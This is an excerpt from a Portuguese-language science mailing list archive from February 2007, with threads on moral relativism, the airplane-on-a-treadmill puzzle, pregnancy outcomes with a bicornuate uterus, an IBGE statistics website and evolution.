simplesmente em bem e mal. Eu aposto que você segue as
regras sem entender EXATAMENTE por quais motivos a
segue.

> Vc pode entender o porquê das leis conhecendo a
> história da humanidade, das
> grandes civilizações e a história do que chamamos de
> Direito. Alguns
> exemplos que vc pode encontrar em várias culturas: o
> poder total de vida ou
> morte dos pais sobre os filhos, do senhor sobre o
> escravo e do rei sobre os
> súditos, já foram admitidos por séculos. Com a
> organização social, viu-se
> que isso não é o melhor. Leis aboliram a escravidão,
> os cidadãos têm direito
> de vida ante o mandatário e o mando paterno é
> limitado por regras. Mas
> muitos de nós não sofremos sob pais carrascos, reis
> sádicos e senhores
> cruéis. Então ocorre o reciclo ou movimento pendular
> dos interesses
> humanos-sociais. Grupos pró-aborto resgatam esse
> arcaico argumento sob a
> falácia de que "a mulher tem o direito de dispor do
> seu corpo" e por isso
> pode dar o fim que desejar ao filho contido em seu
> ventre ou até mesmo após
> seu nascimento!

E por que a mulher não teria?? Voce possui bons
principios que justifiquem o contrário???

Antigamente não tinhamos a quantidade de informação
que temos hoje. Se o conhecimento sobre nossa
natureza alcançou patamares nunca dantes sonhados,
acredito que deveriamos entender bem a causa do
Direito.
Mais uma vez a moral absoluta versus a moral relativa.

> Não possuo qualquer argumento para ser "bonzinho". O
> "bonzinho" é o disfarce
> mais usado para sacanear os outros e se sair bem.

Eu acho que voce tem medo de ser "mauzinho".

> Nietzsche apontou o
> vigoroso caminho para o "novo homem", íntegro,
> racional, em harmonia com as
> forças naturais dos instintos. Ele também abominava
> os "bonzinhos-sofredores" que aguardavam
> a oportunidade para dominar e usufruir.

Minha força natural instintiva manda matar quando
sofro agressão fisica :p. Nietzsche queria mesmo era
separar Estado da religião e o homem da religião.

> Muito provavelmente ainda passaremos séculos
> repetindo os ciclos históricos
> do Direito, até nos convencermos de que a melhor
> forma de conviver é
> considerar e respeitar o próximo.

Por que essa é a melhor forma???

> Afinal, é disso
> que as pessoas estão cada
> vez mais carentes: respeito, consideração,
> valorização, justiça, paz,
> carinho, gratidão, cuidado, verdade... A estupidez
> maior que cometo com
> muita assiduidade é achar que posso obter todos
> esses desejados benefícios
> só para mim! E os outros que se danem...

Por que isso é uma estupidez???

> Tenho muita esperança na volta do ensino da
> Filosofia e Sociologia ao nosso
> Ensino Médio.

Isso se os professores de Filosofia e Sociologia
entenderem BEM o que estão lecionando.


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SUBJECT: Re: [ciencialist] Animais gregários e justiça de grupo - Re: P/Homero, um conselho:
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 10:48

Isso se ele for pego.

--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, José Renato
> <jrma@...> escreveu
> > JR - Isso pode ocorrer durante algum tempo, mas o
> sabidório pode ser
> > excluído da partilha
>
> E esse é o fator "vingança" ou "justiça". Se não
> houver isso, o
> egoísta se dá bem.
>
> []s,
>
> Roberto Takata



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SUBJECT: Útero bicorno
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 10:50

Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
deles, uma mulher portadora de útero bicorno, já tendo abortado três vezes,
recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao fim
da gestação. Qual a chance de uma mulher com útero bicorno conseguir chegar
ao fim da gestação? A literatura médica registra muitos desses casos? Seria
interessante conhecer o caso de uma mulher ateísta ou agnóstica que tenha
produzido prole saudável, mesmo tendo útero bicorno.

[ ]s

Alvaro Augusto



SUBJECT: Re: [ciencialist] avião em esteira
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 10:52

Sim, o tema já foi discutido por aqui.

Não recordo quais foram meus argumentos à época mas, hoje, responderia assim:

Os construtores de porta-aviões não são nenhuma toupeira! Se a variável "esteira rolante" funcionasse, com certeza tais projetistas a teriam colocado nos porta-aviões para a decolagem num 'espaço' restrito. O que interessa é a velocidade do avião em relação ao ar e não em relação ao navio, aeroporto ou esteira. O ar é o referencial básico para a decolagem e vôo.
A decolagem só seria possível mediante foguete com combustível e comburente próprios (não poderia usar do ar local). Com ar parado, a turbina dos aviões à jato só consegue o deslocamento do avião em baixa velocidade na pista (não tem entrada de ar suficiente para a potência máxima). Ganhando velocidade (lentamente) na longa pista, a entrada de ar aumenta e conseqüentemente a eficiência do jato aumenta ... progressivamente. Se a pista é móvel, para o avião o ar continua parado e conseqüentemente baixa potência.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 25 de fevereiro de 2007 18:54
Assunto: Re: [ciencialist] avião em esteira


Bem, não participo muito postando.
Algumas idéias preliminares:
Mas o avião estaria em repouso em relação ao solo, não? Além disso, creio que dessa forma ele não conseguiria a corrente de ar sobre a asa necessária, pois sua velocidade em relação às correntes de ar praticamente não se alterariam...

Paulo Marcelo

----- Original Message -----
From: Nando
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 25, 2007 6:44 PM
Subject: [ciencialist] avião em esteira


Com certeza já deve ter sido discutido aqui...

Um avião está estacionado em uma pista móvel (como se fosse uma esteira
rolante). O avião se move em um sentido, e a esteira no sentido oposto.
A esteira tem um sistema de controle que acompanha a velocidade do avião
e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
oposto. A pergunta é: o avião vai conseguir decolar?
http://forum.hardmob.com.br/showthread.php?t=289348

Outras discussões sobre o mesmo assunto:
http://www.kottke.org/06/02/plane-conveyor-belt
http://www.boingboing.net/2006/12/11/airplanetreadmill_pr.html

Eu, aaaaaaaaacho que o avião decola... alguém discorda?

Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
(graduandos em engenharias na USP e outras universidades de 'nome')
discordando entre si, então...




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SUBJECT: Re: [ciencialist] P/ Murilo - Re: E ética de cada um...
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 10:53

Chicao,

Para esta colocação gosto da definição de Kant, que em uma de suas
classificações divide as proposições fundamentais práticas em "máximas"
(subjetivas) e "leis práticas" (objetivas). A máxima pode variar segundo a
vontade de cada indivíduo, enquanto a lei prática deve ser válida para a
vontade de todo ser racional (todos mesmo).

Se você pode demonstrar objetivamente que a proposição é válida para todo o
ser racional, como em uma lei natural (gravidade, por exemplo), você tem uma
lei prática. Mas regras éticas, do tipo: "ao ser agredido devo sempre reagir
em defesa de minha honra", são máximas pessoais. Verdades individuais
subjetivas.

É verdade, nem sempre é simples objetivamente comprovar uma lei prática, mas
se ainda não foi comprovada, não pode ser considerada como tal. E não
adianta dizer que é senso comum, como direitos humanos, que a maioria pensa
assim (Argumentum ad Populum). Sem comprovação objetiva e categórica, não é
lei prática. É subjetivo.

Eu compartilho da visão do Kant neste ponto.

Abraços,

Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 10:18 AM
Subject: Re: [ciencialist] P/ Murilo - Re: E ética de cada um...


> Eu estou tentando vislumbrar mais ou menos isso que
> Jose Renato disse. A primeira coisa que notei é que
> essa regra deverá atingir todos os homens sem exceção
> por isso me ocorreu logo a ideia de alguma regra que
> seja natural(exemplo: lei da gravidade).
> Estou a ponderar sobre isso.
>
>
>> Olá, Homero e Murilo! O que se busca deste sempre,
>> melhor registrado por
>> Aristóteles, é o absoluto. Uma, regra ética-moral
>> que independa das
>> premissas momentâneas, necessidades atuais, costumes
>> sociais, pessoais,
>> históricos, tradicionais, humor do legislador,
>> situação econômica, etc. Um
>> regra de descreva a melhor atitude a ser tomada pelo
>> cidadão, em qualquer
>> situação ou circunstância. Daí a dificuldade...
>> []s
>> José Renato
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
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SUBJECT: Sapos coloridos...
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 12:17

Uma venenosa beleza:
http://thrillingwonder.blogspot.com/2007/02/colorful-poisonous-frogs.html

--


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Útero bicorno
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 13:12

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Qual a chance de uma mulher com útero bicorno conseguir chegar
> ao fim da gestação?

Maneschi et al. 1993 - Reproductive performance in women with
bicornuate uterus. Acta Eur Fertil. 1993 May-Jun;24(3):117-20.
"The medical records of 21 patients with bicornuate uterus were
analyzed. Thirteen patients did not undergo corrective surgery,
whereas eight underwent metroplasty. The pregnancies in patients who
did not undergo surgery, and the outcome evaluated. The outcome of
pregnancies after corrective surgery was also analyzed. The cumulative
pregnancy rates at 12 and 24 months were 67% and 95% in patients
without surgical correction and 63% and 88% in patients after surgical
correction. The probability of giving birth to a live-born infant with
no corrective surgery was 30%, 58% and 79% for the first, second and
third pregnancy respectively; the probability of giving birth to a
live-born infant after corrective surgery was 71% for the first and
86% for the second pregnancy. Fertility is not impaired in patients
with bicornuate uterus, but gestational capacity is. A prognostic
estimate of the likelihood of giving birth to a live-born infant can
be formulated according to the number of pregnancies and/or surgical
correction."
http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=pubmed&list_uids=7985453&dopt=Citation

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 13:14

Olá pessoal

Realmente, est assunto já foi discutido aqui, e depois de "enganar"
muita gente boa, parece que concordamos que o avião decola normalmente.

E, deve explicar porque, claro..:-) Ainda mais que até o Takata me
parece se enganou dessa vez.

A esteira só faz sentido se adotarmos como modo de movimentação do
avião idêntico ao de automóveis. a partir de tração com o solo.

Entretanto, o avião NÃO se move a partir dessa tração mas de tração a
partir da movimentação do próprio ar. Se ligar as hélices, ele se
movo, independente de uma esteira ou das rodas.

Se não me engano, o que esclareceu esta pegadinha foi trocar as rodas
e a esteira que gira "na mesma velocidade do avião", por uma pista
congelada e esquis, ou melhor ainda, um experimento hipotético com uma
pista de atrito "zero", ou mesmo com o avião "sobre" um colchão de ar
ou pendurado por fios sobre um esteira rolante.

Observe que em todas essas situações o avião decolaria normalmente,
assim, não há motivo para ele não decolar da esteira.

A esteira e as rodas, neste caso, são apenas "apoios", irrelevantes em
termos de tração ou decolagem.

Sei que vai ser, mais uma vez, difícil para alguns compreender que não
é um carro, que realmente não sairia do lugar se uma esteira rodasse
ao contrário sob ele (como um corredor na academia NÃO anda de verdade
sobre a esteira).

Mas espero que os exemplos do esqui ou da pista com atrito zero acabem
iluminando a questão. As rodas, para o avião são IRRELEVANTES em
termos de decolagem.

Um abraço.

Homero





SUBJECT: O MUNDO TODO NUM SITE DO IBGE
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 26/02/2007 13:27

O MUNDO TODO NUM SITE DO IBGE
O IBGE lança página especial Países(r), com estatísticas, imagens,
dados históricos e um mapa interativo.
André Machado
O IBGE pôs no ar na semana passada o site Países(r), que fica em
<http://www.ibge.gov.br/paisesat/>.
O site contém um planisfério clicável, todo feito em Java e PHP, com
dados históricos e estatísticos sobre 192 países.
O mapa permite zoom e seleção de um país para examinar em detalhes
suas informações.
As estruturas e ícones na barra superior da página são simples. Na
lacuna para pesquisa, pode-se escolher um país para achar no mapa (em vez de
procurar manualmente para clicá-lo). Ao lado, há um botão para fechar
janelas - é que o site se vale de muitas pop-ups pequenas -, um botão para
ligar e desligar o som, e a ajuda. (Por falar em pop-ups, se o seu navegador
as bloqueia por default, permita-as para trabalhar melhor com o site.)
Depois do botão da ajuda, há os de zoom e as setas para navegar pelo
planisfério.
Selecionando um país, é possível navegar pelos diferentes dados
usando a segunda barra de navegação superior, logo abaixo da primeira.
Clicando em Síntese, o usuário vê um quadro com as informações
básicas do país, como localização, capital, tamanho do território,
língua(s), população, PIB e moeda.
Um clique em Histórico leva a outro quadro, contando a história da
nação escolhida. Aliás, você sabia que a origem da palavra "brasil" está no
tupi ibim-ciri, que significa "pau eriçado"? (PS-CA - Não, pois sabia que a
palavra "brasil" é o nome de uma árvore que os portugueses conheceram no
Oriente, talvez na Índia, e que a madeira que os portugueses aqui chamaram
de "pau brasil" era a de uma árvore que os índios, de língua tupi, diziam
ser "ibirapitanga")
O quadro da Síntese permite visualizar melhor a bandeira do país,
ver um mapa político e também fotos, sempre em quadros separados. Também é
possível ir diretamente da Síntese para o Google Maps.
De economia a ecologia, há de tudo um pouco.
As outras opções na segunda barra são População (com dados como
densidade demográfica, população urbana, índice de natalidade, etc),
indicadores sociais (mortalidade infantil, expectativa de vida, casas com
acesso a água e esgoto, taxa de alfabetização), economia (renda per capita,
gastos públicos, população economicamente ativa...), redes (linhas
telefônicas, celulares, número de computadores, acesso à internet - com
dados entre 2003 e 2004) e meio ambiente (poluição, áreas protegidas, etc).
Cada um dos itens presentes nestas divisões tem dois ícones
laterais. Um leva a uma lista mundial sobre o tema, para comparação. Por
exemplo, o item Emissão de Dióxido de Carbono (em Meio Ambiente) leva à
lista das emissões do gás no mundo inteiro, que pode ser vista por país, por
valor (em ordem crescente ou decrescente) ou por continente. O segundo ícone
mostra a fonte da informação dada.
A última subdivisão da segunda barra é Objetivos do Milênio, onde
são mostrados os dados de cada país ligados a tais metas. Por exemplo, em
Erradicar a Pobreza e a Fome é mostrada, no caso do Brasil, a taxa de
crianças abaixo do peso.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Os perigos que espreitam no espaço por Jacqueline Garget
FROM: Erich Weick <erich_weick@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 13:51

De uma outra lista do Yahoo Grupos.

Observação: mensagem anexa encaminhada.
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 14:05

Engraçado como questões aparentemente simples podem enganar tão facilmente
os apressadinhos (como eu) e desatentos (eu de novo).

O primeiro impulso é achar que o avião ficará parado, como ele certamente
não voaria, mas na verdade as velocidades iguais em sentidos opostos só
fazem as rodas girarem com o dobro da velocidade, neste caso em que a tração
não se vale das rodas. O avião quase nem percebe o acontecido, a não ser
pelo maior atrito no mecanismo da roda, que nem vai atrapalhar nada.

Quem tem pressa come cru. Mais ainda bem que eu me amarro num sashimi.

[]s
Ricardo


----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 1:14 PM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


Olá pessoal

Realmente, est assunto já foi discutido aqui, e depois de "enganar"
muita gente boa, parece que concordamos que o avião decola normalmente.

E, deve explicar porque, claro..:-) Ainda mais que até o Takata me
parece se enganou dessa vez.

A esteira só faz sentido se adotarmos como modo de movimentação do
avião idêntico ao de automóveis. a partir de tração com o solo.

Entretanto, o avião NÃO se move a partir dessa tração mas de tração a
partir da movimentação do próprio ar. Se ligar as hélices, ele se
movo, independente de uma esteira ou das rodas.

Se não me engano, o que esclareceu esta pegadinha foi trocar as rodas
e a esteira que gira "na mesma velocidade do avião", por uma pista
congelada e esquis, ou melhor ainda, um experimento hipotético com uma
pista de atrito "zero", ou mesmo com o avião "sobre" um colchão de ar
ou pendurado por fios sobre um esteira rolante.

Observe que em todas essas situações o avião decolaria normalmente,
assim, não há motivo para ele não decolar da esteira.

A esteira e as rodas, neste caso, são apenas "apoios", irrelevantes em
termos de tração ou decolagem.

Sei que vai ser, mais uma vez, difícil para alguns compreender que não
é um carro, que realmente não sairia do lugar se uma esteira rodasse
ao contrário sob ele (como um corredor na academia NÃO anda de verdade
sobre a esteira).

Mas espero que os exemplos do esqui ou da pista com atrito zero acabem
iluminando a questão. As rodas, para o avião são IRRELEVANTES em
termos de decolagem.

Um abraço.

Homero





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SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 14:10

Olá pessoal

Me lembrei de um argumento que foi muito útil na vez passada quando
discutimos este problema: as rodas do avião SÓ giram SE o avião se mover.

Observe o texto com o problema e as premissas envolvidas (e que nos
"enganam", devido a nossa familiaridade com veículos com rodas e tração):

". O avião se move em um sentido, e a esteira no sentido oposto.
A esteira tem um sistema de controle que acompanha a velocidade do
avião e faz com que a esteira tenha exatamente a mesma velocidade, no
sentido
oposto. "

O avião SE MOVE. As rodas SÓ se movem, porque o avião SE MOVE. E COMO
ele se move, se a esteira ACOMPANHA O GIRO DAS RODAS???

Se trocar o avião por um carro, em uma esteira que responda
imediatamente ao giro das rodas, o carro NÃO se move. Nunca. Porque
sua tração, que permite o movimento, depende das rodas e o solo. Como
o solo se move, não há tração e o veículo NÃO se move.

Mas, mesmo na premissa do problema, o avião SE MOVE. Pois, se ele não
o fizer, não há nenhuma utilidade para a esteira, pois as rodas NÃO se
moverão, e a esteira NÃO se moverá.

A partir do momento que o avião SE MOVE, o ar passa por suas asas.
Como ele SE MOVE (já definimos isso) através das hélices ou do jato,
as rodas, sua velocidade de giro, a esteira, etc, são todas
IRRELEVANTES, pois o avião ganhará velocidade conforme as hélices
aceleram ou o jato acelera, esteja sobre rodas, esquis, esteiras, o
que for.

É difícil, muito difícil deixar de lado a tendência a pensar em rodas
como "fonte de movimento" e entender o problema. mas se pensar que as
rodas NÃO se movem a não ser que o avião se mova, fica mais fácil de
entender o problema.

É uma "pegadinha" que usa nossos processos mentais e preconceitos
internos para nos enganar.

Bastaria colocar um aeromodelo em uma esteira de aeroporto, começar a
girar as hélices e a esteira, e ver que ele decola sem problemas.

Um abraço.

Homero







--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá pessoal
>
> Realmente, est assunto já foi discutido aqui, e depois de "enganar"
> muita gente boa, parece que concordamos que o avião decola normalmente.
>
> E, deve explicar porque, claro..:-) Ainda mais que até o Takata me
> parece se enganou dessa vez.
>
> A esteira só faz sentido se adotarmos como modo de movimentação do
> avião idêntico ao de automóveis. a partir de tração com o solo.
>
> Entretanto, o avião NÃO se move a partir dessa tração mas de tração a
> partir da movimentação do próprio ar. Se ligar as hélices, ele se
> movo, independente de uma esteira ou das rodas.
>
> Se não me engano, o que esclareceu esta pegadinha foi trocar as rodas
> e a esteira que gira "na mesma velocidade do avião", por uma pista
> congelada e esquis, ou melhor ainda, um experimento hipotético com uma
> pista de atrito "zero", ou mesmo com o avião "sobre" um colchão de ar
> ou pendurado por fios sobre um esteira rolante.
>
> Observe que em todas essas situações o avião decolaria normalmente,
> assim, não há motivo para ele não decolar da esteira.
>
> A esteira e as rodas, neste caso, são apenas "apoios", irrelevantes em
> termos de tração ou decolagem.
>
> Sei que vai ser, mais uma vez, difícil para alguns compreender que não
> é um carro, que realmente não sairia do lugar se uma esteira rodasse
> ao contrário sob ele (como um corredor na academia NÃO anda de verdade
> sobre a esteira).
>
> Mas espero que os exemplos do esqui ou da pista com atrito zero acabem
> iluminando a questão. As rodas, para o avião são IRRELEVANTES em
> termos de decolagem.
>
> Um abraço.
>
> Homero
>




SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 14:29

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Entretanto, o avião NÃO se move a partir dessa tração mas de tração
> a partir da movimentação do próprio ar. Se ligar as hélices, ele se
> movo, independente de uma esteira ou das rodas.

A questao eh q a tracao do ar eh o suficiente apenas para compensar o
movimento para tras da esteira.

Considere um aviao sem asa. Ele *nunca* irah decolar, por mais helices
propulsoras (nao estou falando de rotores de helicopteros - asas
rotatorias) q tenha. Ele irah apenas para a frente. A propulsao
continua sendo dada pela helice com a tracao a partir do movimento do
ar. Se pegarmos esse aviao sem asa e o colocarmos nessa esteira. Ele
irah ficar parado em relacao ao solo.

Pra um aviao decolar, a componente vertical para cima da resultante
sobre a aeronave tem q ser maior do q sua forca peso.

Podemos substituir a esteira por uma corrente presa 'a parte posterior
da aeronave. Eh possivel se testar com aeromodelos.

[]s,

Roberto Takata



SUBJECT: P/ Jose Renato - Tartarugas, mamutes, e o engano de Jose Renato
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 14:39

Olá Jose Renato

Renato, continua não entendendo bem a questão, e vendo "coisas" onde elas não existem. Em especial, os "proques" da natureza não são "porques" da forma que você pensa, não tem a intenção a priori que parece encontrar em tudo.

Renato: "Vc já se perguntou por que uma larva de
cigarra permanece anos no solo antes de eclodir, se alimentando de raízes?"

Porque as que eclodiram antes foram devoradas por predadores, ou tinham mais probabilidade de serem devoradas por predadores. NENHUMA delas tinha ou tem a MENOR noção desse porque, e se as condições mudarem (por exemplo, um predador que devore cigarras em cada 7 anos), as que NÃO nasceram após esse período terão uma vantagem.

Mas, nem as que nascem nesse período nem as que erram o período (e toda geração tem variações) tem a MENOR idéia disso tudo, e não fazem isso com inteligência ou intenção. São resultados de forças cegas, naturais, não intencionais, etc.

Esquimós se adaptaram ao frio com o uso da inteligência humana, inteligência que foi desenvolvida em outro ambiente, devido a outras necessidades, mas que pode ser utilizada de diversas formas. Focas e ursos polares desenvolveram gordura sem a MENOR idéia do que estava acontecendo, e nenhum INDIVIDUO dessas espécies JAMAIS se adaptou, mas apenas a espécie, com a morte dos que tinham menos capacidade em sobreviver e a manutenção dos que tinham.

E, por favor, os que tinham menos capacidade e os que tinham mais não sabiam NADA sobre isso, e nasceram com essas caracteristicas de forma aleatória, não intencional, não inteligente, da mesma forma como você nasceu mais baixo ou mais alto que seu irmão, Renato.

Ursos, em um ambinente que ficava mais frio a cada estação, nasciam como nasceram sempre, alguns com mais gordura, outros com menos. Aleatoriamente. Os que nasceram com mais gordura, por mero acidente genético, tinham ligeira vantagem durante os invernos mais rigorosos, e deixavam mais descendentes. Em milhões de anos, apenas ursos com mais gordura restaram.

NENHUM dos ursos que viveu durante os milhões de anos necessários a essa especiação JAMAIS se adaptou como individuo.

Renato: "Bons comentários, Homero! Faço apenas ressalva aos seguintes trechos:"

Grato pelo elogio, mas ainda insisto, você precisa se esforçar para compreender realmente a questão da evolução. Veja os enganos, mesmo quando parece concordar comigo:

Renato: "JR - Isso pode ocorrer durante algum tempo, mas o sabidório pode ser
excluído da partilha e ficar dependendo apenas de si mesmo. Veja que foi a
possibilidade de eu fazer apenas uma parte do que preciso para viver -
enquanto outras pessoas fazem as demais - que promoveu a civilização."

Excluir o sabido É um comportamento herdado, que surge, aleatoriamente, a partir de mudanças, aleatórias, nos genes. Nos grupos de animais gregários onde ele surge, é gerada uma vantagem para este grupo, que NÃO existe nos grupos sem o comportamento. Mais alguns milhares de anos, apenas grupos que apresentam um conjunto de genes que reforçe esse comportamento (excluir da partilha) restaram, devido a competição entre grupos.

Tente entender, nada disso é "inteligência" no sentido habitual do termo, que só pode ser usado como metáfora nesses casos. É a "inteligência" de um cristal de rocha, que "soube" criar um padrão tridimensional perfeito, ou a "inteligência" da água ao preencher "exatamente" a poça no chão, ou a "inteligência" do pássaro tecelão, que soube criar um ninho altamente complexo (mas que deixa os ovos cairem por um buraco no fundo, sem entender nada).

O que promovou a civilização foi um conjunto de coisas, baseadas na capacidade cerebral de homo sapiens, que surge como resposta adaptativa a um abinete específico, a extinsão dos dinos, etc. Sem NENHUMA intenção de surgir ou de criar uma civilização.

Renato: "JR - Vc acha que o ser humano é "bom" por natureza, há os que acham que é um
maléfico predador por natureza, e há os que consideram que ele é o "fazem"
dele em sua formação. Muito provavelmente ainda ficaremos sem certeza de
qual dessa teses é a que melhor descreve a realidade. Quanto a sua fiel
crença no Acaso sem qualquer comprovação científica é mais uma das suas
aventuras na arte dos adivinhos."

Não, Renato, não acho que o ser humano é "bom". Esse é um conceito humano, subjetivo, e não se aplica a comportamentos evolutivos. Estes apenas "são", nem bons, nem ruins. Matar os filhotes, como os leões, não é "bom" nem "ruim", é eficaz, nesse sentido. Ajudar os outros, em um grupo gregário, não é "bom" ou "ruim", é apenas eficaz, entre a disputa por espaço e alimentos de grupos diversos. Só isso, nada mais. O que estou tentando explicar a você é que parte dos comportamentos que consideramos "bons", já existem, como vantagens adaptativas, em nossos primos e em nossos ancestrais primatas (e em animais gregários em geral). Não são fruto de uma divindade benéfica ou criação puramente humana.

Minha conclusão, e não crença, não deriva da falta de evidências do acaso, que é evidente (acaso é uma ausência, não algo concreto), mas na falta de evidências de que não seja assim. Tente entender, o acaso, a não intencionalidade, é uma ausência, e, como tal, não precisa de evidências. Não se exige evidências de que algo ocorreu ao acaso, mas o contrário, de que NÃO ocorreu. Pense que quando ouve um barulho de janela abrir, sua presunção é que foi ao "acaso", pelo vento, pelo calor, por quebra, etc, sem intenção de abrir e fazer barulho. É a partir de evidências que pode mudar de conclusão e decidir que houve uma "intenção" na abertura da janela.

Repito, não é preciso "comprovação cientifica" do acaso, da aleatoriedade, que, aliás, é um termo que define acaso, é o próprio acaso.

O que está dizendo, Reanto, é que preciso "provar cientificamente" que um dado dá resultados ao "acaso", aleatoriamente, sem intenção de dar o resutado, quando na verdade isso é uma presunção, a própria definição de acaso, de aletório..:-) É você que acredita que NÃO é acaso, sem nenhuma evidência que sustente essa crença, que precisa "provar cientificamente" que os dados dão resultados "intencionalmente".

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 14:56


From: "rmtakata" <roberto.takata@bol.com.br>
> A questao eh q a tracao do ar eh o suficiente apenas para compensar o
> movimento para tras da esteira.

Temos certamente o atrito da roda com o chão, que justificaria em parte o
que você diz, mas considere que a roda é feita para ter o mínimo de atrito
no seu mecanismo de rotação (como os rolamentos dos patins). Se colocar um
avião parado, sem os freios acionados, em uma esteira em movimento, ele
ficará parado, ou se movimentando pouco, devido apenas ao atrito do
mecanismo citado. Realmente, como o Homero comentou, a roda em um avião é
feita para se comportar como um esqui na neve, fazendo o avião deslizar com
o mínimo possível de atrito.

A esteira exerce pouca força para trás, só referente ao atrito do girar da
roda, enquanto a turbina. Como no problema proposto o enunciado deixa claro
que a esteira se move sempre na mesma velocidade que o avião, mas em sentido
oposto, não vai gerar força de atrito suficiente para compensar a turbina.
Porque eu digo que não será o suficiente? Porque se a velocidade da esteira
em relação ao solo é a mesma do avião em relação ao solo, a roda gira com o
dobro da velocidade, gerando o dobro do atrito (para um coeficiente linear),
e me parece claro que dobrar o atrito da rotação da roda não poderia parar
um avião.

> Considere um aviao sem asa. Ele *nunca* irah decolar, por mais helices
> propulsoras (nao estou falando de rotores de helicopteros - asas
> rotatorias) q tenha. Ele irah apenas para a frente. A propulsao
> continua sendo dada pela helice com a tracao a partir do movimento do
> ar. Se pegarmos esse aviao sem asa e o colocarmos nessa esteira. Ele
> irah ficar parado em relacao ao solo.

A questão é que ele não fica parado em relação ao solo. Ele se move, um
pouco mais lento talvez (devido ao atrito), mas vai se mover.

> Pra um aviao decolar, a componente vertical para cima da resultante
> sobre a aeronave tem q ser maior do q sua forca peso.

Concordamos nisso.

> Podemos substituir a esteira por uma corrente presa 'a parte posterior
> da aeronave. Eh possivel se testar com aeromodelos.

Na verdade eu defendo (estou errado denovo????) que o avião realmente se
move. E só assim ele consegue voar. Então prendê-lo não seria equivalente.

Mas o Homero me convenceu fácil. Talvez você me convença também. Já estou me
achando muito influenciável :)

Um abraço,

Ricardo




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 15:21

Olá Takata

Acho que isso é um grande "dejavu"..:-) Mas, insisto, está enganado. Ou talvez considerando premissas a mais que o experimento apresenta.

Takata: "A questao eh q a tracao do ar eh o suficiente apenas para compensar o
movimento para tras da esteira."

Não há esse movimento da esteira, pelo menos inicialmente. O avião está parado e a esteira também. Ela só se moverá no momento que o avião se move, ou seja, no momento em que, ao se dirigir para frente, as rodas, em uma pista normal, rodariam para tras.

Isso é IMPORTANTíSSIMO!! Não há um movimento do avião PARA TRAS para ser compnsado pelas hélices. Pense, mais um vez, nos esquis em uma pista de atrito zero (e rodas de avião são o equivalente de uma pista de atrito zero, ou tentam ser). Não há nas premissas do exemplo NENHUMA menção ao atrito dos rolamentos das rodas, que podemos pressupor desprezíveis (e são desprezíveis, se for apenas isso que a esteira pode usar para mover o avião).

